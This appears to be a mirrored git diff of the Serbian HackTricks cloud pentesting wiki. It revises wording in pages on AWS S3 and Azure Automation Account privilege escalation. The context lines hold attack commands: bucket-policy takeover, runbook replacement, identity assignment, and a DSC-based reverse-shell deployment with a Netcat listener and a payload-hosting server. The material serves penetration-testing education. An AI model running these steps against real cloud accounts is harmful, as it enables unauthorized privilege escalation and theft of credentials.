mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-09 06:10:48 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -39,16 +39,16 @@ I otmica je moguća jer postoji **mali vremenski prozor od trenutka kada je šab
|
||||
.png>)
|
||||
|
||||
Pacu modul [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) može se koristiti za automatizaciju ovog napada.\
|
||||
Za više informacija pogledajte originalno istraživanje: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
Za više informacija proverite originalno istraživanje: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
Ovo su dozvole za **preuzimanje i otpremanje objekata na S3**. Nekoliko usluga unutar AWS-a (i van njega) koristi S3 skladište za čuvanje **konfiguracionih fajlova**.\
|
||||
Napadač sa **pristupom za čitanje** može pronaći **osetljive informacije** u njima.\
|
||||
Napadač sa **pristupom za pisanje** mogao bi **modifikovati podatke kako bi zloupotrebio neku uslugu i pokušao da eskalira privilegije**.\
|
||||
Napadač sa **pristupom za pisanje** mogao bi **modifikovati podatke da bi zloupotrebio neku uslugu i pokušao da eskalira privilegije**.\
|
||||
Evo nekoliko primera:
|
||||
|
||||
- Ako EC2 instanca čuva **korisničke podatke u S3 bucket-u**, napadač bi mogao da ih modifikuje kako bi **izvršio proizvoljan kod unutar EC2 instance**.
|
||||
- Ako EC2 instanca čuva **korisničke podatke u S3 bucket-u**, napadač bi mogao da ih modifikuje da **izvrši proizvoljan kod unutar EC2 instance**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (opciono) preko terraform state fajla
|
||||
|
||||
@@ -64,7 +64,7 @@ Pratite opis u sekciji *Zloupotreba Terraform State Fajlova* na stranici *Terraf
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
Napadač, koji treba da bude **iz istog naloga**, inače će se aktivirati greška `The specified method is not allowed`, sa ovom dozvolom će moći da sebi dodeli više dozvola nad bucket-ima, omogućavajući mu da čita, piše, modifikuje, briše i izlaže buckete.
|
||||
Napadač, koji mora biti **iz istog naloga**, inače će se aktivirati greška `The specified method is not allowed`, sa ovom dozvolom će moći da sebi dodeli više dozvola nad bucket-ima, omogućavajući mu da čita, piše, modifikuje, briše i izlaže buckete.
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
|
||||
@@ -32,9 +32,9 @@ Kao što se može videti na sledećoj slici, imajući Administrator pristup nad
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Kao sažetak, ova dozvola omogućava **kreiranje, modifikovanje i izvršavanje Runbooks** u Automation Account-u, što možete iskoristiti za **izvršavanje koda** u kontekstu Automation Account-a i eskalaciju privilegija na dodeljene **Managed Identities** i curenje **akreditiva** i **kriptovanih varijabli** koje su pohranjene u Automation Account-u.
|
||||
Kao sažetak, ova dozvola omogućava **kreiranje, modifikovanje i izvršavanje Runbooks** u Automation Account-u, što možete koristiti za **izvršavanje koda** u kontekstu Automation Account-a i eskalaciju privilegija na dodeljene **Managed Identities** i curenje **akreditiva** i **kriptovanih varijabli** koje su pohranjene u Automation Account.
|
||||
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava modifikaciju koda Runbook-a u Automation Account-u koristeći:
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava modifikovanje koda Runbook-a u Automation Account-u koristeći:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -75,7 +75,7 @@ az automation runbook create --automation-account-name <account-name> --resource
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Ova dozvola omogućava korisniku da **dodeli korisnički upravljanu identitet** Automation Account-u koristeći:
|
||||
Ova dozvola omogućava korisniku da **dodeli identitet koji upravlja korisnikom** Automatskom nalogu koristeći:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Zatim, sa dozvolom **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti Scheduler-u runbook koristeći:
|
||||
Zatim, uz dozvolu **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti Scheduler-u runbook koristeći:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -215,7 +215,7 @@ az rest --method PUT \
|
||||
```
|
||||
### Prilagođena Runtime Okruženja
|
||||
|
||||
Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti moguće prepisati prilagođeni paket runtime-a nekim zlonamernim kodom (kao što je **backdoor**). Na taj način, svaki put kada se izvrši runbook koji koristi to prilagođeno runtime, i učita prilagođeni paket, zlonamerni kod će biti izvršen.
|
||||
Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti moguće prepisati prilagođeni paket runtime-a nekim zlonamernim kodom (kao što je **backdoor**). Na ovaj način, svaki put kada se izvrši runbook koji koristi to prilagođeno runtime, i učita prilagođeni paket, zlonamerni kod će biti izvršen.
|
||||
|
||||
### Kompromitovanje Konfiguracije Stanja
|
||||
|
||||
@@ -251,7 +251,7 @@ Skripta je uređena da specificira ciljni Windows VM i port za reverznu ljusku.
|
||||
|
||||
- Korak 5 — Objavi Konfiguracioni Fajl
|
||||
|
||||
Konfiguracioni fajl se izvršava, što rezultira u tome da se skripta za reverznu ljusku postavlja na određenu lokaciju na Windows VM-u.
|
||||
Konfiguracioni fajl se izvršava, što rezultira time da se skripta za reverznu ljusku postavlja na određenu lokaciju na Windows VM-u.
|
||||
|
||||
- Korak 6 — Hostuj Payload i Postavi Listener
|
||||
|
||||
@@ -260,6 +260,6 @@ Pokreće se Python SimpleHTTPServer da hostuje payload, zajedno sa Netcat listen
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
Zakazani zadatak izvršava payload, postižući privilegije na nivou SYSTEM-a.
|
||||
Zakazani zadatak izvršava payload, postižući privilegije na nivou SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user